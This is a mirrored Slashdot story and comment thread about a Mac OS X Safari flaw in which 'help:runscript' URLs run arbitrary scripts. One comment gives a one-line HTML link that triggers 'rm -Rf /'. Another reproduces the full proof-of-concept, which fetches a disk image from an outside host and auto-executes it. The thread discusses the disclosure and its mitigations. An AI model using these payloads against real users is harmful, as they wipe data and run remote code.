Slashdot Mirror


Safari Falls Victim to Remote Code Exploit

A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."

12 of 197 comments (clear)

  1. Wow by mcgroarty · · Score: 5, Funny
    I've got to hand it to Apple...

    "help:runscript=..."

    No double-decode, unicode obfuscation, or CMD.EXE parms. Even the exploits are user-friendly!

  2. That's it.. by Carlos+Silva · · Score: 5, Funny

    I'm switching to Windows!

  3. Good days ahead by vijaya_chandra · · Score: 5, Funny

    First signs that apple's really in competition with Microsoft

  4. Um, what privilidges does it run at? by Llywelyn · · Score: 5, Insightful


    From the bulletin:
    ---------------
    This can potentially wipe the entire hard-disk (or large parts of it),
    if a hacker runs a script with "rm -rf /" included.
    ---------------

    Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

    --
    Integrate Keynote and LaTeX
  5. Re:Is this worth a story? by mcgroarty · · Score: 5, Insightful
    "It just isn't a big deal"

    One concealed tinyurl link on Slash or an Apple forum, or a tiny frame with a redirect to:

    <a href=help:runscript=/bin/rm%20-Rf%20%2f>
    is enough to run "rm -Rf /". Wiping out all user data with half a line of html isn't a big deal?

    All companies have their own share of browser bugs, but this one's a doozy, so don't play it down. Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.

  6. Been known since February by p0ppe · · Score: 5, Informative

    According to a forum post on MacNN, this has been known since February...

    --


    "Democracy is three wolves and a sheep voting on what to have for dinner."
  7. Re:Is this worth a story? by mcgroarty · · Score: 5, Informative
    "I don't know about you, but I don't always take a look at my status bar before I click on a link."

    That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.

  8. All OS X browsers affected? by tetsuotheironman · · Score: 5, Interesting

    this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build. I also tried it in IE and it was able to open Help.app without problems..

  9. Re:Is this worth a story? by edalytical · · Score: 5, Informative

    Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.

    The prof of concept link in the article was very simple:

    The linked file 0x04_test.html:
    <html>
    <head><title>Safari runscript remote execution: Proof of concept</title></head>
    <frameset cols="1%, 99%">
    <frame src="0x04_get.html">
    <frame src="0x04_exec.html">
    </frameset>
    </html>

    0x04_get.html:
    <html>
    <head>
    <meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script. dmg">
    </head>
    </html>

    0x04_exec.html:
    <html>
    <head>
    <meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resources /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
    </head>
    <body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
    <br>The script will execute automatically afterwards.
    <br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
    </pre></body>
    </html>

    Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.

    Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:

    "You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" &gt; owned.txt ; open owned.txt

    Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.

    All html source courtesy of curl.

    --
    Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
  10. Changing the settings by marklark · · Score: 5, Informative

    Here's where you can get a utility that allows you to change these settings: More Internet - http://www.monkeyfood.com/software/moreInternet/

  11. Other browsers also affected by swotl · · Score: 5, Informative

    The vulnerability was first discovered in Opera, and was later found to also exist in Konqueror of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.

    --
    -
    sig sig sputnik
  12. OS X Mail also by stang7423 · · Score: 5, Interesting

    I wonder if this is possible from OS X mail also. Mail uses webcore to render html and probably shares some settings. The downloading of the dmg is provoked by a meta tag, so unless mail strips meta info from e-mail then this could affect mail as well. That eventuality could potentially be a much larger issue than the current method of execution. Especially since mail will render html and images unless the mail is marked junk.